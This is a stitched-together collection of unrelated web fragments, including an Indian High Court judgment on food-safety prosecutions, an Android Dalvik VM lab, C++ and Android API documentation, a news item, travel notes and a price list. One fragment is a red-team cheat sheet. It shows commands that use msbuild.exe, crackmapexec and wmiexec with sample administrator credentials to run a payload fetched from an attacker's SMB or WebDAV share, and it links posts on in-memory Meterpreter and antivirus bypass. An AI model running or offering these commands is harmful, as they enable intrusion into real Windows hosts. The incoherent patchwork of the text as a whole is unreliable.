The State of Bombay (1955 SCR 799) it has been observed that if there is conflict between the Central enactment and the State enactment on the same subject, then Central enactment will prevail. The same principle has been laid down in the decision reported in The Dharangadhra Chemical works v. Dharangadhra Municipality and another (AIR 1985 SC 1729). In the decision reported in State of Bihar v. Murad Ali Khan and others (AIR 1957 SC 458 = 1957 KHC 608), the Hon'ble Supreme Court has Crl.M.C.No.1266 of 2013 33 considered the question as to whether Sections 5 and 6 of Prevention of Corruption Act has impliedly repealed, Section 405 and 409 of the Indian Penal Code dealing with misappropriation by a public servant and observed that if he two offences are distinct and separate, then one will not repeal the another. The same view has been reiterated in the decision reported in State of Bombay v. S.L. Apte (AIR 1961 SC 578 = 1961 KHC 537) wherein the question as to whether the provisions of Insurance Act and the offence under Section 105 of the Insurance Act and section 409 of the Indian Penal Code are similar and proceedings against a person under both the acts will amount to double jeopardy under Article 20(2) of the Constitution of India and Hon'ble Supreme Court has held that they are distinct and separate and one will not override the other and proceedings against the person under both the enactments will not amount to double jeopardy under Article 20(2) of the Constitution of India. Further in the decision reported in State of Bihar v. Murad Ali Khan and others (AIR 1989 SC 1= 1988 KHC 1071), the Hon'ble Supreme Court has considered the question as to whether the offences under the Wild Life Crl.M.C.No.1266 of 2013 34 (Protection) Act, 1972 dealing with section 9(1) and Section 51 regarding wild life and section 429 of the Indian Penal Code will be mutually exclusive and whether the earlier Act will override the general provisions of the Indian Penal Code deals with the same subject matter observed that they are distinct and separate and that cannot be quashed under section 482 of the Code. With this principles in mind the case in hand has to be considered.
32. Further in the decision reported in Vishal Agarwal and another v. Chhattisgarh State Electricity Board and another (2014 (1) KHC 319), the Hon'ble Supreme Court has held that Section 151 of Electricity Act, 2003 will not cause any fetter on the right of the police to investigate a case under the Code of Criminal Procedure in respect of any cognizable offence has been committed which is an offence under the provisions of the Indian Penal Code as well.
33. The same view has been reiterated in the decisions reported in State (NCT of Delhi) v. Sanjay, Jaysukh Bavanji Shingalia v. State of Gujarat and another, Malabhai Shalabhai Rabari and others v. State of Gujarat and others, Kalubhai Dulabhai Khachar v. State of Gujarat Crl.M.C.No.1266 of 2013 35 and another and Sondabhai Hanubhai Bharwad v. State of Gujarat and another (2014 (9) SCC 772), where it has been observed that provisions under the Mines and Mineral (Development and Regulation) Act, 1957 is only barring investigation of an offence under Section 4(1-A) read with section 21(1) of MMDR Act and Magistrate taking cognizance of the offence if it is an offence otherwise under the Indian Penal Code that will not be a bar for the police to investigate and file final report and Magistrate taking cognizance of the offence for that offence. It is clear from the provisions of the General Clauses Act that if the act committed is an offence under two enactments, there is nothing barring for proceeding against them under two enactments but they cannot be sentenced for the same separately. Further if they are distinct and different offence, then there is no bar for imposing separate sentence as well as it will not amount to double jeopardy as provided under Article 20(2) of the Constitution of India.
34. It is seen from the allegations in the complaint filed by the Food Safety Officer under the Food Safety and Standard Act that only the first petitioner had committed Crl.M.C.No.1266 of 2013 36 the offence under that Act, as he being the licensee and owner of the restaurant, others who are involved in the commission of the act have not been implicated. But in the case registered by the police apart from the first petitioner, others who are responsible for running the restaurant and preparation of the food and sale of the same were also implicated. The procedure to be followed, nature of evidence to be collected, points to be proved and ingredients of the offence in both are entirely different. One is a technical offence and other is an offence to be proved based on evidence to be collected by the investigating agency. Even if technical offence fails, the substantive offence investigated by the police on the basis of materials collected will prevail over the other.
35. If the intention of the Legislature is to repeal or remove the provisions under the Indian Penal Code also in respect of the offence relating to food, then they ought to have deleted those provisions also as has been done in respect of giving bribe from the Indian Penal Code when Prevention of Corruption Act was enacted dealing with those acts. That was not done in this case. Further the Legislature was very clear when a schedule was added, they only Crl.M.C.No.1266 of 2013 37 repealed certain enactments which were dealing with sale and manufacture of food earlier and not all the provisions which were dealing with the same subject matter in the other enactments like Indian Penal Code also. The above view is clear from the decision of the Supreme Court in State of Bombay v. S.L. Apte (AIR 1961 KHC 537), Om Praksh Gupta v. State of U.P (1957 KHC 608) and State of Bihar v. Murad Ali Khan and others (1988 KHC 1071) as well. So in view of the authoritative pronouncement of the Supreme Court, I am with great respect disagreeing with the dictum laid down by the Allahabad High Court in Writ Petition No.8254(MB)/2010 M/s. Pepsico India Holdings (Pvt). Ltd and another v. State of U.P and others.
36. Further it is also seen from the court before whom the case is pending, which was instituted on the basis of a complaint under the Food Safety and Standard Act though higher punishment was provided that court has no jurisdiction to award such a punishment, whereas under the police investigation case, it will be committed to the Sessions Court and the Sessions Court has power to award severe punishment as provided under the Indian Penal Code. Further Crl.M.C.No.1266 of 2013 38 if it is proved by the prosecution that the persons who are selling the food articles were aware of the consequences of the food being sold, which is likely to cause injurious to health and even cause death, then apart from the same being falling under the provisions of the Food Safety and Standard Act, it will fall under the provisions of Section 304 of the Indian Penal Code as well, which is a distinct and separate offence, for which prosecution can be independently proceeded with by the police on the basis of a complaint given by the affected party. So only the offence under Section 59(3) of the Act alone can be proceeded with by the Food Safety Officer as an empowered officer and other offences which will not fall under that Act and persons against whom prosecution can be launched for the same offences, who are not covered by the Food Safety and Standard Act, the only remedy available to the affected person is to move the police for regular investigation under the Code of Criminal Procedure and proceed against them for the offence provided under the general law namely Indian Penal Code. So, under the circumstances, the submission made by the counsel for the petitioners that the police case initiated on the basis of the complaint is barred in Crl.M.C.No.1266 of 2013 39 view of the provisions of the Food Safety and Standard Act is not sustainable and the same is liable to be rejected and the petitioners are not entitled to get the relief quashing Crime No.732/2012 of Museum police station, Thiruvananthapuram claimed in the petition and the same is liable to be dismissed.
In the result, this petition is dismissed.
Sd/-
K. RAMAKRISHNAN, JUDGE.
cl /true copy/ P.S to Judge


---
layout: page
title: "Section 1: Build Android and Inside Dalvik"
---
Part 3: INTRODUCE TO DALVIK
Source Code Hierarchy
Here is short version of what you will find when you download the Android source. I will leave out some minor directories and dig deeper into a couple of the important ones. Basically what you will get (based on the current Ice Cream Sandwich release), in alphabetical order: (Bold projects are that we will hack in the following Labs.)
- Bionic - the C-runtime for Android. Note that Android is not using glibc like most Linux distributions. Instead the c-library is called bionic and is based mostly on BSD-derived sources. In this folder you will find the source for the c-library, math and other core runtime libraries.
- Bootable - boot and startup related code. Some of it is legacy, the fastboot protocol info could be interesting since it is implemented by boot loaders in a number of devices such as the Nexus ones.
- Build - the build system implementation including all the core make file templates. An important file here is the envsetup.sh script that will help you a lot when working with the platform source. Running this script in a shell will enable commands to setup environment variables, build specific modules and grep in source code files.
- Cts - the compatability tests. The test suite to ensure that a build complies with the Android specification.
- Dalvik - the source code for the implementation of the Dalvik Virtual Machine
- Development - projects related to development such as the source code for the sdk and ndk tools. Normally not a folder you touch when working with the platform for a target.
- Device - product specific code for different devices. This is the place to find hardware modules for the different Nexus devices, build configurations and more.
- External - contains source code for all external open source projects such as SQLite, Freetype and webkit.
- Frameworks - this folder is essential to Android since it contains the sources for the framework. Here you will find the implementation of key services such as the System Server with the Package- and Activity managers. A lot of the mapping between the java application APIs and the native libraries is also done here.
- Hardware - hardware related source code such as the Android hardware abstraction layer specification and implementation. This folder also contains the reference radio interface layer (to communicate with the modem side) implementation.
- (Kernel) - not part of the default source download but you can get access to this code either by downloading it manually or by adding the repository to the repo tool. Contains the sources for the Android version of the Linux kernel.
- Out - the build output will be placed here after you run make. The folder structure is out/target/product/. In the default build for the emulator the output will be placed in out/target/product/generic. This is where you will find the images used by the emulator to start (or to be downloaded and flashed to a device if you are building for a hardware target).
- Packages - contains the source code for the default applications such as contacts, calendar, browser.
- Prebuilt - contains files that are distributed in binary form for convenience. Examples include the cross compilations toolchains for different development machines.
- System - source code files for the core Android system. That is the minimal Linux system that is started before the Dalvik VM and any java based services are enabled. This includes the source code for the init process and the default init.rc script that provide the dynamic configuration of the platform.
(The description above comes from StackOverflow Thread.)
In our lab we focus on the Dalvik VM's design and implementation. Other than that, we do not touch any other parts, such as framework or kernel.
Execution Mode
The current implementation of the Dalvik VM includes three distinct interpreter cores. These are referred to as "fast", "portable", and "debug". The "fast" interpreter is optimized for the current platform, and might consist of hand-optimized assembly routines. In contrast, the "portable" interpreter is written in C and expected to run on a broad range of platforms. The "debug" interpreter is a variant of "portable" that includes support for profiling and single-stepping.
The VM allows you to choose between "fast" and "portable" with an extended form of the -Xint argument. The value of this argument can be set through the dalvik.vm.execution-mode system property.
To select the "portable" interpreter, you would use:
adb shell setprop dalvik.vm.execution-mode int:portable
If the property is not specified, the most appropriate interpreter will be selected automatically. At some point this mechanism may allow selection of other modes, such as JIT compilation.
Not all platforms have an optimized implementation. In such cases, the "fast" interpreter is generated as a series of C stubs, and the result will be slower than the "portable" version. (When we have optimized versions for all popular architectures the naming convention will be more accurate.)
If profiling is enabled or a debugger is attached, the VM switches to the "debug" interpreter. When profiling ends or the debugger disconnects, the original interpreter is resumed. (The "debug" interpreter is substantially slower, something to keep in mind when evaluating profiling data.)
(These paragraphs comes from HERE.)
Main Loop
The basic theory behind Dalvik interpreter is a big loop. In this loop, the interpreter will fetch a instruction and interpret it. The working model is some different but not far from the code below:
for(;;){
insn = fetch();
switch(insn[0]){
case MOVE: ...
case RETRUN: ...
...
}
}
The portable version implementation is in the file dalvik/vm/mterp/out/InterpC-portable.cpp.
You can find all the opcodes' implementation here.
An improvement of the "big loop" is called "threaded" execution, which is used on Dalvik. The instruction fetch and dispatch are included at the end of every instruction handler. This makes the interpreter a little larger in size overall, but you get to avoid the (potentially expensive) branch back to the top of the switch statement. And this avoidance will lead to a performance improvement.
Another Way for Two-hundred
In lab2, we hack the .apk file and double the result of simplecounter.
While in this section, we are going to use another way to achieve the same effect.
Instead of modifying developer's code, a more general way is to modify the Dalvik VM's code.
Your task is to hack the implementation of ADD_INT and make sure the counter's result is 200.
Hints:
- The most naive solution will definitely influence the whole system. Every add will double or plus one. A solution is to check the class name and method's name which will decide whether your hack is triggered or not.
- Always use the portable mode of Dalvik, because your modification can only work there. How to convert to portable mode? See the chapter Execution Mode.


#include <facetextureoutputdata.h>
Inherits EngineOutputBase.
FaceTextureOutputData is usually provided as an optional sub-object of FaceOutputData.
Definition at line 23 of file facetextureoutputdata.h.
Public Types | |
| enum | FaceTextureType { ORTHOGRAPHIC_PROJECTION = 0, UNKNOWN = -1 } |
Public Member Functions | |
| void | addFaceTexture (sm::eod::FaceTextureOutputData::FaceTextureType type, const ImageOutputDataPtr &face_texture) |
| void | addMaskLandmark (const sm::eod::FaceLandmark &landmark) |
| FaceTextureOutputData * | clone () const |
| COREDATA_DECLARE_THIS_OBJECT_ID (92) | |
| bool | faceMaskCoordinate (sm::eod::FaceLandmarkId landmark_id, sm::eod::FaceCoordinate &coord) const |
| const FaceLandmarkMap & | faceMaskLandmarks () const |
| bool | faceMaskTextureCoordinate (sm::eod::FaceLandmarkId landmark_id, sm::eod::FaceTextureCoordinate &coord) const |
| void | faceTCToPixel (const sm::eod::FaceTextureCoordinate &coord, float &x_out, float &y_out) const |
| ImageOutputDataPtr | faceTexture () |
| ConstImageOutputDataPtr | faceTexture () const |
| FaceTextureOutputData (const FaceTextureOutputData &rhs) | |
| FaceTextureOutputData::FaceTextureType | faceTextureType () const |
| void | getPixelTransform (float &origin_pixel_x_out, float &origin_pixel_y_out, float &scale_x_out, float &scale_y_out) const |
| virtual ObjectID | objectID () const |
| FaceTextureOutputData & | operator= (const FaceTextureOutputData &rhs) |
| void | setPixelTransform (float origin_pixel_x, float origin_pixel_y, float scale_x, float scale_y) |
Protected Member Functions | |
| void | appendEngineSpecificData (std::vector< uint8 > &buffer) const |
| virtual void | doAddSubObject (const SerializablePtr &sub_object) |
| uint32 | numEngineSpecificDataBytes () const |
| void | printOwnData (std::ostream &s) const |
| void | printOwnHeader (std::ostream &s) const |
| void | readEngineSpecificData (const std::vector< uint8 > &buffer, int &read_pos) |
| void addFaceTexture | ( | sm::eod::FaceTextureOutputData::FaceTextureType | type, | |
| const ImageOutputDataPtr & | face_texture | |||
| ) |
Adds face texture. If type == UNKNOWN, clears the texture.
| void addMaskLandmark | ( | const sm::eod::FaceLandmark & | landmark | ) |
| FaceTextureOutputData* clone | ( | ) | const [virtual] |
| virtual void doAddSubObject | ( | const SerializablePtr & | sub_object | ) | [protected, virtual] |
Verifies that the subobject is ImageOutputData.
| SerializableError | if the object id already exists or the object id is not valid for this object or sub_object is not derived from EngineOutputBase or FeatureOutputData. |
Reimplemented from SerializableComposite.
| bool faceMaskCoordinate | ( | sm::eod::FaceLandmarkId | landmark_id, | |
| sm::eod::FaceCoordinate & | coord | |||
| ) | const |
Gets the face coordinate associated with landmark_id, where landmark_id is a Mask Id.
| landmark_id | integer value representing a specific location on the face. Refer to the FLM Standard for details. | |
| coord | Current position of the facial landmark in 3D coordinates with respect to the head-reference frame (meters). |
| const FaceLandmarkMap& faceMaskLandmarks | ( | ) | const |
| bool faceMaskTextureCoordinate | ( | sm::eod::FaceLandmarkId | landmark_id, | |
| sm::eod::FaceTextureCoordinate & | coord | |||
| ) | const |
Gets the face texture coordinate associated with landmark_id, where landmark_id is a Mask Id.
| landmark_id | integer value representing a specific location on the face. Refer to the FLM Standard for details. | |
| coord | Current position of the facial landmark in face-texture coordinates. Refer to the FTC Standard for details. |
| void faceTCToPixel | ( | const sm::eod::FaceTextureCoordinate & | coord, | |
| float & | x_out, | |||
| float & | y_out | |||
| ) | const |
Convert a face-texture coordinate to a pixel.
| coord | A 2D texture coordinate obtained from the FaceOutputData, representing a location on the face texture. | |
| x_out | Pixel value x coordinate (column) in the face-texture image. May be out of bounds. Value is a float for sub-pixel accuracy. | |
| y_out | Pixel value y coordinate (row) in the face-texture image. May be out of bounds. Value is a float for sub-pixel accuracy. A FaceTextureCoordinate is a 2D normalized coordinate obtained from FaceOutputData. |
| ConstImageOutputDataPtr faceTexture | ( | ) | const |
| FaceTextureOutputData::FaceTextureType faceTextureType | ( | ) | const |
Return the type of the face texture, or UNKNOWN if not attached.
| void getPixelTransform | ( | float & | origin_pixel_x_out, | |
| float & | origin_pixel_y_out, | |||
| float & | scale_x_out, | |||
| float & | scale_y_out | |||
| ) | const |
Get the transform variables for converting from a face-texture coordinate to a pixel.
| virtual ObjectID objectID | ( | ) | const [virtual] |
| void setPixelTransform | ( | float | origin_pixel_x, | |
| float | origin_pixel_y, | |||
| float | scale_x, | |||
| float | scale_y | |||
| ) |
Set the transform variables for converting from a face-texture coordinate to a pixel.


WITNESS LIST Land & Resource Management Committee (Subcommittee on Dredged Materials) April 5, 2002-9:00A Dredged Materials On: Brogan, Frank (Port of Corpus Christi) Butler, Raymond (GICA) Calnan, Tom (Texas General Land Office) Cazalas, H.C. "Chuck" (Citgo Petroleum Corporation) Dunton, Kenneth (The University of Texas at Austin) Fulbright, Tim (Self) Hunt, Jack (King Ranch) Kittelberger, Walt (Lower Laguna Madre Foundation) Kleberg, Janell (Self) Murphy, Carolyn (U.S. Army Corps of Engineers, Galveston District) Randall, Jim (Texas Department of Transportation) Rappole, John (King Ranch) Roberts, Terry (U.S. Army Corps of Engineers - Galveston District) Stone, John (King Ranch) Sutton, Les (Texas Waterway Operators Association) In-Bay Disposal Against: Onuf, Christopher (Self) Upland Disposal Against: Kleberg, Tio (King Ranch)


Fully decentralized REV system. Paper
Rust-based BC-based REV. Paper available here
Repositories on GitHub: Frontend, Backend, Security, Setup


Calico Critters Hopscotch Rabbit Grandparents
The Hopscotch Rabbit Grandparents are the Calico Critters (US) version of the Chocolate Rabbit Grandparents, with different names. Glasses are included for both figures.
Calico Critters Biography Information
Grandfather, George is the captain of the Seaside Cruiser Houseboat. He loves traveling with his family and friends out on the open water.
Grandmother, Patricia likes to plan events and have fun parties on the Seaside Cruiser Houseboat. She also enjoys lounging on the sundeck, while drinking lemonade and chatting with her friends.


Tic Tac Toe on State Channels
Transaction Sender/Signer:
Contract Initialisation
Create State Channel Game
Attach to Existing Contract
Signatures
Sign State
| Signing Address |
State |
Nonce |
v |
r |
s |
Sign Board
| Signing Address |
Board |
Nonce |
v |
r |
s |
Sign Kill
| Signing Address |
Recipient |
v |
r |
s |
Tic Tac Toe Rules
Send State
Send Board
Bad Board Sent
Check In
Kill
Tic Tac Toe Adjudicator
Get Current State
Get Nonce
Give Consent
| Signing Address |
Nonce |
v |
r |
s |
Finalise Channel
Tic Tac Toe Locked State
Deposit Funds
Get Balance


Israel’s Benjamin Netanyahu in tense Cabinet meeting amid ‘bribery’ scandal
Calls have already been made by party members for him to be replaced as leader as he faces indictment.
Israeli prime minister Benjamin Netanyahu has led a noticeably tense Cabinet meeting, his first since Israel’s attorney general announced he will be indicted for bribery, fraud and breach of trust.
Mr Netanyahu did not mention the looming indictment during Sunday’s weekly meeting.
Instead, he was projecting an attitude of business as usual, discussing Iranian belligerency, threats from Gaza and domestic affairs.
His typically talkative ministers have remained noticeably silent.
This has been their first public appearances since the attorney general’s announcement on Thursday.
Mr Netanyahu’s party has long pledged loyalty to its leader.
But calls have been made within the party for an immediate primary vote to replace him, sowing the first seeds of rebellion.
Replacing Mr Netanyahu offers perhaps the most likely option of preventing a looming third election within a year.


UTC
All Government Departments, including the Island Store, are open: Mon/Thursday 08:00-12:30 & 13:30-16:00 (08:30-16:30 in winter), Friday 08:00-13:00 (08:30-14:30 in winter).
GBP £ Sterling.
US$ and SA Rand can be exchanged; cash or travellers cheques only.
Credit cards and personal cheques are not accepted.
International dialing code for Tristanda Cunha is +290.
TS2 provides Tristan da Cunha new mobile services. BGAN deliver seamless network coverage across most of the world's landmass. Users are able to get broadband wherever they go, not just in major cities or airports. BGAN is currently accessible in Tristan da Cunha, Europe, Africa, the Middle East, Asia, North and South America.
IMRAY AND ADLARD COLES PILOT BOOKS are available at a discounted price for Noonsite.com users via World Cruising Club
South Atlantic Circuit
By Tom Morgan
Publisher: Imray, Laurie Norie & Wilson - 1st Edition 2002
ISBN 13:<PHONE_NUMBER>338
Havens & Anchorages: A companion to the South Atlantic circuit for the South American coast
By Tom Morgan
Publisher: On Board Publications (2002)
ISBN-13:<PHONE_NUMBER>040
South Atlantic Islands
Free download from the RCC Pilotage Foundation Website
By Pete Hill (2010)
Noonsite welcomes information and updates especially regarding clearance, customs and immigration procedures from cruisers visiting this country.
Please E-mail noonsite with any new information, updates or corrections. Even just a short email confirming that the current data is accurate would be most helpful.


As COVID-19 rages on and society grinds to an unsettling halt, it seems that the entire world has set out to answer this essential question. We, a group of East Bay high school students, believe we have an answer, and we created this website to articulate it.
Art is a universal invention. Throughout history, we as a species have often taken advantage of its capacity to connect, inspire, and express. It’s a glue that binds our experiences together.
We intend to celebrate this cornerstone of our humanity at a time when humanity is being challenged. The Foothill High School Graphic Design Club is proud to host this project as a testament to how our creativity can bring joy and hope no matter what our situation may be.
Patients inflicted with COVID-19 may be confined to beds for weeks depending on their condition, and much of the elderly, who are at most risk, are being forced to stay at home with no visitors. Nurses, doctors, emergency personnel, and sanitation staff are taking extraordinary measures to defend the world against the worst public health threat of the 21st century, and for everyone else, isolation can be emotionally and psychologically distressing. Let’s make comforting, well-wishing cards for all of these people to bring some light into our now darkened lives. It can be a picture of the simplest degree, a mere statement, or even a written letter - it’s all up to you.
Thanks,
Cards To Humanity Team


public class TransportMediator extends TransportController
android.media.RemoteControlClient
. This class is intended to
serve as an intermediary between transport controls (whether they be on-screen
controls, hardware buttons, remote controls) and the actual player. The player
is represented by a single TransportPerformer
that must be supplied to
this class. On-screen controls that want to control and show the state of the
player should do this through calls to the TransportController
interface.
Here is a simple but fairly complete sample of a video player that is built around this class. Note that the MediaController class used here is not the one included in the standard Android framework, but a custom implementation. Real applications often implement their own transport controls, or you can copy the implementation here out of Support4Demos.
| Modifier and Type | Field and Description |
|---|---|
static int |
FLAG_KEY_MEDIA_FAST_FORWARD
Synonym for {@link android.media.RemoteControlClient#FLAG_KEY_MEDIA_FAST_FORWARD
RemoveControlClient.FLAG_KEY_MEDIA_FAST_FORWARD
|
static int |
FLAG_KEY_MEDIA_NEXT
Synonym for {@link android.media.RemoteControlClient#FLAG_KEY_MEDIA_NEXT
RemoveControlClient.FLAG_KEY_MEDIA_NEXT
|
static int |
FLAG_KEY_MEDIA_PAUSE
Synonym for {@link android.media.RemoteControlClient#FLAG_KEY_MEDIA_PAUSE
RemoveControlClient.FLAG_KEY_MEDIA_PAUSE
|
static int |
FLAG_KEY_MEDIA_PLAY
Synonym for {@link android.media.RemoteControlClient#FLAG_KEY_MEDIA_PLAY
RemoveControlClient.FLAG_KEY_MEDIA_PLAY
|
static int |
FLAG_KEY_MEDIA_PLAY_PAUSE
Synonym for {@link android.media.RemoteControlClient#FLAG_KEY_MEDIA_PLAY_PAUSE
RemoveControlClient.FLAG_KEY_MEDIA_PLAY_PAUSE
|
static int |
FLAG_KEY_MEDIA_PREVIOUS
Synonym for {@link android.media.RemoteControlClient#FLAG_KEY_MEDIA_PREVIOUS
RemoveControlClient.FLAG_KEY_MEDIA_PREVIOUS
|
static int |
FLAG_KEY_MEDIA_REWIND
Synonym for {@link android.media.RemoteControlClient#FLAG_KEY_MEDIA_REWIND
RemoveControlClient.FLAG_KEY_MEDIA_REWIND
|
static int |
FLAG_KEY_MEDIA_STOP
Synonym for {@link android.media.RemoteControlClient#FLAG_KEY_MEDIA_STOP
RemoveControlClient.FLAG_KEY_MEDIA_STOP
|
static int |
KEYCODE_MEDIA_PAUSE
Synonym for
KeyEvent.KEYCODE_MEDIA_PAUSE |
static int |
KEYCODE_MEDIA_PLAY
Synonym for
KeyEvent.KEYCODE_MEDIA_PLAY |
static int |
KEYCODE_MEDIA_RECORD
Synonym for
KeyEvent.KEYCODE_MEDIA_RECORD |
| Constructor and Description |
|---|
TransportMediator(Activity activity,
TransportPerformer callbacks) |
TransportMediator(View view,
TransportPerformer callbacks) |
| Modifier and Type | Method and Description |
|---|---|
void |
destroy()
Optionally call when no longer using the TransportController.
|
boolean |
dispatchKeyEvent(KeyEvent event)
Must call from
Activity.dispatchKeyEvent to give
the transport an opportunity to intercept media keys. |
int |
getBufferPercentage()
Retrieve amount, in percentage (0-100), that the media stream has been buffered
on to the local device.
|
long |
getCurrentPosition()
Retrieve the current playback location in the media stream, in milliseconds.
|
long |
getDuration()
Retrieve the total duration of the media stream, in milliseconds.
|
java.lang.Object |
getRemoteControlClient()
Return the
android.media.RemoteControlClient associated with this transport. |
int |
getTransportControlFlags()
Retrieves the flags for the media transport control buttons that this transport supports.
|
boolean |
isPlaying()
Return whether the player is currently playing its stream.
|
void |
pausePlaying()
Move the controller into the paused state.
|
void |
refreshState() |
void |
registerStateListener(TransportStateListener listener)
Start listening to changes in playback state.
|
void |
seekTo(long pos)
Move to a new location in the media stream.
|
void |
startPlaying()
Move the controller into the playing state.
|
void |
stopPlaying()
Move the controller into the stopped state.
|
void |
unregisterStateListener(TransportStateListener listener)
Stop listening to changes in playback state.
|
public static final int KEYCODE_MEDIA_PLAY
KeyEvent.KEYCODE_MEDIA_PLAY
public static final int KEYCODE_MEDIA_PAUSE
KeyEvent.KEYCODE_MEDIA_PAUSE
public static final int KEYCODE_MEDIA_RECORD
KeyEvent.KEYCODE_MEDIA_RECORD
public static final int FLAG_KEY_MEDIA_PREVIOUS
public static final int FLAG_KEY_MEDIA_REWIND
public static final int FLAG_KEY_MEDIA_PLAY
public static final int FLAG_KEY_MEDIA_PLAY_PAUSE
public static final int FLAG_KEY_MEDIA_PAUSE
public static final int FLAG_KEY_MEDIA_STOP
public static final int FLAG_KEY_MEDIA_FAST_FORWARD
public static final int FLAG_KEY_MEDIA_NEXT
public TransportMediator(Activity activity, TransportPerformer callbacks)
public TransportMediator(View view, TransportPerformer callbacks)
public java.lang.Object getRemoteControlClient()
android.media.RemoteControlClient
associated with this transport.
This returns a generic Object since the RemoteControlClient is not availble before
android.os.Build.VERSION_CODES#ICE_CREAM_SANDWICH
. Further, this class
will not use RemoteControlClient in its implementation until
android.os.Build.VERSION_CODES#JELLY_BEAN_MR2
. You should always check for
null here and not do anything with the RemoteControlClient if none is given; this
way you don't need to worry about the current platform API version.
Note that this class takes possession of the
android.media.RemoteControlClient.OnGetPlaybackPositionListener
and
android.media.RemoteControlClient.OnPlaybackPositionUpdateListener
callbacks;
you will interact with these through
TransportPerformer.onGetCurrentPosition
and
TransportPerformer.onSeekTo
, respectively.
public boolean dispatchKeyEvent(KeyEvent event)
Activity.dispatchKeyEvent
to give
the transport an opportunity to intercept media keys. Any such keys will show up
in TransportPerformer
.event
- public void registerStateListener(TransportStateListener listener)
TransportController
registerStateListener
in class TransportController
public void unregisterStateListener(TransportStateListener listener)
TransportController
unregisterStateListener
in class TransportController
public void refreshState()
public void startPlaying()
startPlaying
in class TransportController
public void pausePlaying()
pausePlaying
in class TransportController
public void stopPlaying()
stopPlaying
in class TransportController
public long getDuration()
TransportController
getDuration
in class TransportController
public long getCurrentPosition()
TransportController
getCurrentPosition
in class TransportController
public void seekTo(long pos)
TransportController
seekTo
in class TransportController
pos
- Position to move to, in milliseconds.public boolean isPlaying()
TransportController
isPlaying
in class TransportController
public int getBufferPercentage()
TransportController
getBufferPercentage
in class TransportController
public int getTransportControlFlags()
FLAG_KEY_MEDIA_PREVIOUS
,
FLAG_KEY_MEDIA_REWIND
,
FLAG_KEY_MEDIA_PLAY
,
FLAG_KEY_MEDIA_PLAY_PAUSE
,
FLAG_KEY_MEDIA_PAUSE
,
FLAG_KEY_MEDIA_STOP
,
FLAG_KEY_MEDIA_FAST_FORWARD
,
FLAG_KEY_MEDIA_NEXT
getTransportControlFlags
in class TransportController
public void destroy()


Pricing
The only thing we've been missing is you! Below is pricing.
| Package Deal | Hours | Pricing |
|---|---|---|
| Bounce House | 4+ | $200 |
| Bounce House w/ Pool | 4+ | $230 |
| Bounce House w/ pool and cotton candy machine | 4+ | $260 |
Must pay $50 deposit to $BounceWiz to secure date.
| Package Deal | Hours | Pricing |
|---|---|---|
| Bounce House | 4+ | $200 |
| Bounce House w/ Pool | 4+ | $230 |
| Bounce House w/ pool and cotton candy machine | 4+ | $260 |
Must pay $50 deposit to $BounceWiz to secure date.


Certifis
DockerScriptGen
OrganizationYamlGen
Organization
Organizations Name
Organization Domain
Total Peers
Port
Peers
Peer Domain
couchdb
Couchdb Port
Peer Port
ChainCode Port
Create docker file


With Azure CLI 2.0, you can create, manage, and delete services on the command line via cmd.exe, bash or {your shell} on the operating system of your choice.
curl -L https://aka.ms/InstallAzureCli | bash
pip install --user azure-cli
Azure PowerShell brings full control of Microsoft Azure to your Windows PowerShell command line.


https://www.n00py.io/2018/06/executing-meterpreter-in-memory-on-windows-10-and-bypassing-antivirus/
https://www.n00py.io/2018/06/executing-meterpreter-in-memory-on-windows-10-and-bypassing-antivirus-part-2/
In certain versions of .Net, you can use msbuild.exe to execute a payload from an .xml file. Msbuild can be called any number of ways. There are two main ways to source the payload: smb and webdav (or www server).
Files pulled from webdav are stored in Windows\ServiceProfiles\LocalService\AppData\Local\Temp directories, so be mindful
Msbuild is not disk-less, stores files in %USER%\AppData\Local\Temp, but it does clean up after itself
Using SMB:
Directly:
%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<IP_ADDRESS>\Guest Share\msbuild_nps.xml
CME:
crackmapexec smb <IP_ADDRESS> -u Administrator -p Password123 -x '%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<IP_ADDRESS>\Guest\msbuild_nps.xml'
PSExec:
python wmiexec.py<EMAIL_ADDRESS>cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<IP_ADDRESS>\Guest\msbuild_nps.xml
WMI:
python wmiexec.py<EMAIL_ADDRESS>cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<IP_ADDRESS>\Guest\msbuild_nps.xml
Using WebDav
pip install WsgiDav cheroot
wsgidav --host=<IP_ADDRESS> --port=80 --root=/tmp
CME:
crackmapexec smb <IP_ADDRESS> -u Administrator -p Password123 -x '%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<IP_ADDRESS>\Davwwwroot\test\msbuild_nps.xml'
WMI:
python wmiexec.py<EMAIL_ADDRESS>C:\>%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<IP_ADDRESS>\Davwwwroot\test\msbuild_nps.xml


SuggestSoCal!
Get Inspired!
Welcome to sunny Southern California!

Go SoCal!


|
|||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||||
| SUMMARY: NESTED | ENUM CONSTANTS | FIELD | METHOD | DETAIL: ENUM CONSTANTS | FIELD | METHOD |
java.lang.Object java.lang.Enum<DriverCommand> org.openqa.selenium.remote.DriverCommand
public enum DriverCommand
Enumeration of all of the commands supported by the WebDriver JSON wire protocol. This file should be kept in sync with common/src/js/command.js
| Method Summary | |
|---|---|
static DriverCommand |
fromName(java.lang.String name)
Retrieves the enumerated DriverCommand based on its commandName property. |
java.lang.String |
toString()
|
static DriverCommand |
valueOf(java.lang.String name)
Returns the enum constant of this type with the specified name. |
static DriverCommand[] |
values()
Returns an array containing the constants of this enum type, in the order they are declared. |
| Methods inherited from class java.lang.Enum |
|---|
clone, compareTo, equals, finalize, getDeclaringClass, hashCode, name, ordinal, valueOf |
| Methods inherited from class java.lang.Object |
|---|
getClass, notify, notifyAll, wait, wait, wait |
| Enum Constant Detail |
|---|
public static final DriverCommand NEW_SESSION
public static final DriverCommand DELETE_SESSION
public static final DriverCommand CLOSE
public static final DriverCommand QUIT
public static final DriverCommand GET
public static final DriverCommand GO_BACK
public static final DriverCommand GO_FORWARD
public static final DriverCommand REFRESH
public static final DriverCommand ADD_COOKIE
public static final DriverCommand GET_COOKIE
public static final DriverCommand GET_ALL_COOKIES
public static final DriverCommand DELETE_COOKIE
public static final DriverCommand DELETE_ALL_COOKIES
public static final DriverCommand FIND_ELEMENT
public static final DriverCommand FIND_ELEMENTS
public static final DriverCommand FIND_CHILD_ELEMENT
